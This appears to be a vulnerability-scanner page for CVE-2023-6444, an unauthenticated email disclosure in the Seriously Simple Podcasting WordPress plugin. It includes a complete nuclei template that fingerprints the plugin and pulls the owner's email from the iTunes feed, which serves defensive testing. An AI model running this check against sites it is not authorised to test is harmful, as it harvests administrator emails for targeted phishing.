Seriously Simple Podcasting < 3.0.0 - Information Disclosure

mediumseverity

5.3CVSS score

2.5%likelihood of exploitation, next 30 days

85%of all CVEs are less likely

Readycheck to confirm it

The Seriously Simple Podcasting WordPress plugin before 3.0.0 discloses the Podcast owner's email address (which by default is the admin email address) via an unauthenticated crafted request.

Impact

Unauthenticated attackers can send crafted requests to obtain podcast owner email addresses which typically reveal administrator email addresses, enabling targeted phishing attacks.

Fix

Fixed in 3.0.0

How to confirm it

Send: GET /
Positive when: contains(body,"/wp-content/plugins/seriously-simple-podcasting") and status_code == 200
Send: GET /?feed=itunes
Positive when: contains_all(body,"<itunes:email>","</itunes:email>") and contains(content_type,"text/xml") and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-6444 -u <target>

The full check

id: CVE-2023-6444

info:
  name: Seriously Simple Podcasting < 3.0.0 - Information Disclosure
  author: s4e-io
  severity: medium
  description: |
    The Seriously Simple Podcasting WordPress plugin before 3.0.0 discloses the Podcast owner's email address (which by default is the admin email address) via an unauthenticated crafted request.
  impact: |
    Unauthenticated attackers can send crafted requests to obtain podcast owner email addresses which typically reveal administrator email addresses, enabling targeted phishing attacks.
  remediation: Fixed in 3.0.0
  reference:
    - https://wpscan.com/vulnerability/061c59d6-f4a0-4cd1-b945-5e92b9c2b4aa/
    - https://github.com/Wayne-Ker/CVE-2023-6444-POC/blob/main/cve-2023-6444.py
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6444
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-6444
    epss-score: 0.02463
    epss-percentile: 0.846
    cpe: cpe:2.3:a:seriously_simple_podcasting_plugin:seriously_simple_podcasting_plugin:2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: castos
    product: seriously-simple-podcasting
    framework: wordpress
    publicwww-query: "/wp-content/plugins/seriously-simple-podcasting/"
  tags: cve,cve2023,wordpress,wp-plugin,exposure,wp,seriously-simple-podcasting,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/seriously-simple-podcasting")'
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        GET /?feed=itunes HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"<itunes:email>","</itunes:email>")'
          - 'contains(content_type,"text/xml")'
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from